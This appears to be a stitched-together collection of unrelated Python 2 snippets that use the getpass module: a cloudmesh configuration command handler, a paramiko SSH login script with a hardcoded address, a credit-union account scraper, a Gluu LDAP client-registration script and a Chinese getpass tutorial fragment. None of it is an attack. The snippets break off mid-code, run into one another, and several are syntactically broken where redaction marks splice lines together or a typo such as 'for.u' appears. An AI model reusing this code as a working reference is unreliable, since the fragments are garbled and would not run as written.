var['host'] = arguments['--remote'] var['file'] = ".futuregrid/cloudmesh.yaml" if var['user'] is None: var['user'] = getpass.getuser() from_location = "%(user)s@%(host)s:%(file)s" % var to_location = config_file("/%(file)s" % var) if os.path.isfile(to_location): print "WARNING: The file %s exists" % to_location if not yn_choice("Would you like to replace the file", default='y'): sys.exit(1) print from_location print to_location print "Copy cloudmesh file from %s to %s" % (from_location, to_location) result = scp(from_location, to_location) print result sys.exit(0) # # ok # # if (arguments['projects'] and arguments['list']) : if arguments['projects'] and arguments['list']: projects = config.get('cloudmesh.projects') print yaml.dump(projects, default_flow_style=False, indent=4) sys.exit(0) # # OK, needs setting # if arguments['projects']: projects = config.projects('active') print "Please select from the following:" print "0 - Cancel" selected = False choices = [] while not selected: counter = 1 for name in projects: print counter, "-" "%20s" % name choices.append(name) counter += 1 print "Please select:" input = int(sys.stdin.readline()) if input == 0: print "Selection terminated" sys.exit(0) selected = (input > 0) and (input < counter) print "Selected: ", input name = choices[input - 1] print name print "ERROR: THIS JUST SELECTS A PROJECT ID BUT DOES NOT SET IT" sys.exit(0) if arguments['init'] or name == 'init': output = arguments['--out'] username = arguments['--user'] or os.getenv('USER') location = path_expand(output) new_yaml_file = open(location, 'w+') user_yaml = cm_user().generate_yaml(username, 'cloudmesh') print >> new_yaml_file, yaml.dump(user_yaml, default_flow_style=False) new_yaml_file.close() print "Written new yaml file in " + location sys.exit(0) # # OK # if arguments['list'] or name == 'list': for name in config.cloudnames(): if 'cm_type' in config.cloud(name): print name, "(%s)" % config.cloud(name)['cm_type'] sys.exit(0) # # NOT TESTED # if arguments['password']: oldpass = getpass("Current password: "******"New password: "******"New password (again): ") # TODO: some kind of password strength checking? if newpass1 == newpass2: config.change_own_password(name, oldpass, newpass1) else: print "New passwords did not match; password not changed." sys.exit(0) # # OK, but does not display the username # if arguments['show'] or name == 'show' and arguments['passwords']: warning = "Your passwords will appear on the screen. Continue?" if yn_choice(warning, 'n'): me = ConfigDict(filename=config_file("/.futuregrid/me.yaml")) banner("PASSWORDS") for name in me['password']: print "{0}: {1}".format(name, me['password'][name]) sys.exit(0) # # OK # if arguments['dump'] or name == 'dump': format = arguments['--format'] if format == 'yaml': d = dict(config) print yaml.dump(d, default_flow_style=False) elif format == 'dict' or format is None: print config sys.exit(0) # # NOT TESTED # if name in ['?', 'x']: if file is None: arguments['--out'] = "%s/%s" % (home, default_path) print "Please select from the following:" print "0 - Cancel" selected = False choices = [] while not selected: counter = 1 for name in config.cloudnames(): if 'cm_type' in config.cloud(name): print "{0} - {1:<30} ({2})".format(counter, name, config.cloud(name)['cm_type']) choices.append(name) counter += 1 print "Please select:" input = int(sys.stdin.readline()) if input == 0: print "Selection terminated" sys.exit(0) selected = (input > 0) and (input < counter) print "Selected: ", input name = choices[input - 1] output = arguments['--out'] # # OK # if name is not None: cloud = config.cloud(name) if not cloud: print "%s: The cloud '%s' is not defined." % ("CM ERROR", name) print "Try instead:" for keyname in config.cloudnames(): print " ", keyname sys.exit(1) if cloud['cm_type'] == 'eucalyptus': if arguments['--project']: project = arguments['--project'] if not project in cloud: print "No such project %s defined in cloud %s." % (project, name) sys.exit(1) else: project = config.cloud_default( name, 'project') or config.projects('default') if not project in cloud: print "Default project %s not defined in cloud %s." % (project, name) sys.exit(1) rc_func = lambda name: config.rc_euca(name, project) else: rc_func = config.rc result = rc_func(name) # # OK # if arguments["-"]: print result else: if output is None: arguments['--out'] = "%s/%s" % (home, default_path) output = arguments['--out'] out = False if yn_choice("Would you like to review the information", default="y"): banner("WARNING: FIle will be written to " + output) print result print banner("") try: # First we try to open the file assuming it doesn't exist out = os.open( output, os.O_CREAT | os.O_EXCL | os.O_WRONLY, stat.S_IRUSR | stat.S_IWUSR) except OSError as oserr: # If file exists, offer to replace it if oserr.errno == 17: delete = raw_input( "'%s' exists; Overwrite it [N|y]? " % output) if delete.strip().lower() == 'y': out = os.open(output, os.O_TRUNC | os.O_WRONLY) if out: os.write(out, result) os.close(out)
#!/usr/bin/python import paramiko import getpass from getpass import getpass import time DeviceIp = '184.105.247.71' User = '******' Pass = getpass() Port = 22 RemoteConnPre = paramiko.SSHClient() RemoteConnPre.load_system_host_keys() RemoteConnPre.connect(DeviceIp, username=User, password=Pass, look_for_keys=False, allow_agent=False, port=Port) RemoteConn = RemoteConnPre.invoke_shell() RemoteConn.settimeout(3.3) print "\nYou logged in!" ShellOutput = RemoteConn.recv(5000) print ShellOutput print "\n" ShellOutput = RemoteConn.send("conf t\n") print "\nEntering configuration mode..." time.sleep(2) ShellOutput = RemoteConn.recv(65535) print ShellOutput
window_time = time.time() print "Starting pull at %s..." % window_time for u in passwords: print "Pulling %s" % u client = Client(u, passwords[u], questions[u]) client.login() accounts = client.get_accounts() client.logout() db.cursor().execute_many("insert into history (real, window, username, name, type, number, available, total) values (?, ?, ?, ?, ?)", [(time.time(), window_time, u, a.name, a.type, a.number, d_to_i(a.available), d_to_i(a.total)) for a in accounts]) print "Done pulling." if __name__ == "__main__": global passwords, questions, db usernames = ["javawizard"] passwords = dict((u, getpass("Password for " + u + ": ")) for.u in usernames) questions = json.load(open(sys.argv[2] if len(sys.argv) > 2 else "/home/jcp/ucreditu/questions")) db = sqlite3.connect(sys.argv[1] if len(sys.argv) > 1 else "/home/jcp/ucreditu/db") print "Ready." while True: pull_accounts() time.sleep(1800)
oxAuthSubjectType: public oxPersistClientAuthorizations: false oxAuthLogoutSessionRequired: true %(scopes)s """ fn = "new_client_%s.ldif" % d['inum'] f = open(fn, 'w') f.write(ldif % d) f.close() print "Wrote file %s" %fn add_it = raw_input("Add entry to ldap? [Y|n] ") or 'y' if add_it[0].lower() == 'y': pw = getpass("Enter LDAP directory manager password: ") cmd = ['/opt/opendj/bin/ldapmodify', '-h', 'localhost', '-p', '1636', '-Z', '-X', '-D', 'cn=directory manager,o=gluu', '-w', pw, '-a', '-f', fn] result = subprocess.check_output(cmd)
''' getpass 模块 getpass 模块提供了平台无关的在命令行下输入密码的方法. getpass(prompt) 会显示提示字符串, 关闭键盘的屏幕反馈, 然后读取密码. 如果提示参数省略, 那么它将打印出 "Password: "******"Prease <enter>")